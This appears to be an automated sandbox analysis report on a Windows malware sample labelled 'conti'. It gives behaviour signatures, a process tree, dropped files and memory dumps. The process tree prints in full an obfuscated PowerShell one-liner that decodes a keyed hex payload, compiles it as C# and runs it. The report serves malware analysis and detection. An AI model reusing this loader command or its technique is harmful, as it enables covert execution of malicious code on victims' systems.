Analysis
- max time kernel
149s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
08/08/2026, 01:17
General
- Target 2026-08-07_5f085e1370a464bb389409ed39de97ef_conti.exe
- Size 18KB
- Sample260808-bnq1maxcmf
- SHA256 6e94c9569941e1ec3a0c6719e5cadb4ad1e0c05a4afc7a7f526e4fa5667d00b1
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-07_5f085e1370a464bb389409ed39de97ef_conti.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-07_5f085e1370a464bb389409ed39de97ef_conti.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "$j=Start-Job{$k=[byte[]](0..(15)|%{[Convert]::ToByte('573c3dd4ac6eda1c6a8ae4a2d413e545'.Substring($_*2,2),16)});$c=[byte[]](0..(140)|%{[Convert]::ToByte('ccafa642138e2d95ddfe490f0f1d5ab8c0aaa4f4ffe74d90cff712f93d8149b4ceaf6b1a1be0478fa594ee12497551aeba5ca0400de14d3cadcd27ed398cefc0615c5df4ccde4f7ed6f347c2478746b9c09f5d4a1bd73e3cb9fa4910fc3cef65775c5d4fb68efa3c8aaa04c2f4604ab8ca9da439eedd524abdf25319fc352daed09d5ffde778fa3c8aaa61ac51'.Substring($_*2,2),16)});$p=[byte[]](0..($c.Length-1)|%{($c[$_]-$k[$_%$k.Length]+256)%256});Add-Type -ReferencedAssemblies @('System.dll','System.Windows.Forms.dll') -TypeDefinition ([Text.Encoding]::UTF8.GetString($p));[CCCKey]::Open()};$j|Receive-Job -Wait -AutoRemoveJob"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "$j=Start-Job{$k=[byte[]](0..(15)|%{[Convert]::ToByte('573c3dd4ac6eda1c6a8ae4a2d413e545'.Substring($_*2,2),16)});$c=[byte[]](0..(140)|%{[Convert]::ToByte('ccafa642138e2d95ddfe490f0f1d5ab8c0aaa4f4ffe74d90cff712f93d8149b4ceaf6b1a1be0478fa594ee12497551aeba5ca0400de14d3cadcd27ed398cefc0615c5df4ccde4f7ed6f347c2478746b9c09f5d4a1bd73e3cb9fa4910fc3cef65775c5d4fb68efa3c8aaa04c2f4604ab8ca9da439eedd524abdf25319fc352daed09d5ffde778fa3c8aaa61ac51'.Substring($_*2,2),16)});$p=[byte[]](0..($c.Length-1)|%{($c[$_]-$k[$_%$k.Length]+256)%256});Add-Type -ReferencedAssemblies @('System.dll','System.Windows.Forms.dll') -TypeDefinition ([Text.Encoding]::UTF8.GetString($p));[CCCKey]::Open()};$j|Receive-Job -Wait -AutoRemoveJob"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3zefvbki\3zefvbki.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBBE4.tmp" "c:\Users\Admin\AppData\Local\Temp\3zefvbki\CSC78795654BF24F9C908DEBCC2E578F31.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
3zefvbki.dll
RESBBE4.tmp
3zefvbki.0.cs
3zefvbki.cmdline
CSC78795654BF24F9C908DEBCC2E578F31.TMP
memory/1828-44-0x000001D68CA60000-0x000001D68D404000-memory.dmp
memory/2808-16-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-8-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-10-0x000001855AAE0000-0x000001855AC56000-memory.dmp
memory/2808-11-0x000001855AE70000-0x000001855B07A000-memory.dmp
memory/2808-12-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-15-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-31-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-17-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-27-0x0000018542340000-0x0000018542350000-memory.dmp
memory/2808-52-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-18-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-9-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-0-0x000001854205C000-0x000001854205D000-memory.dmp
memory/2808-7-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-6-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-5-0x000001855A600000-0x000001855A622000-memory.dmp
memory/2808-2-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-1-0x00000185418C0000-0x0000018542264000-memory.dmp
memory/2808-28-0x0000018542340000-0x0000018542350000-memory.dmp
memory/4140-53-0x00007FF6A2820000-0x00007FF6A282C000-memory.dmp
memory/4140-30-0x00007FF6A2820000-0x00007FF6A282C000-memory.dmp
memory/5332-22-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-32-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-29-0x000002DA8F12C000-0x000002DA8F12D000-memory.dmp
memory/5332-25-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-26-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-24-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-46-0x000002DAA74D0000-0x000002DAA74D8000-memory.dmp
memory/5332-23-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-21-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-50-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-20-0x000002DA8E990000-0x000002DA8F334000-memory.dmp
memory/5332-19-0x000002DA8EB1F000-0x000002DA8EB20000-memory.dmp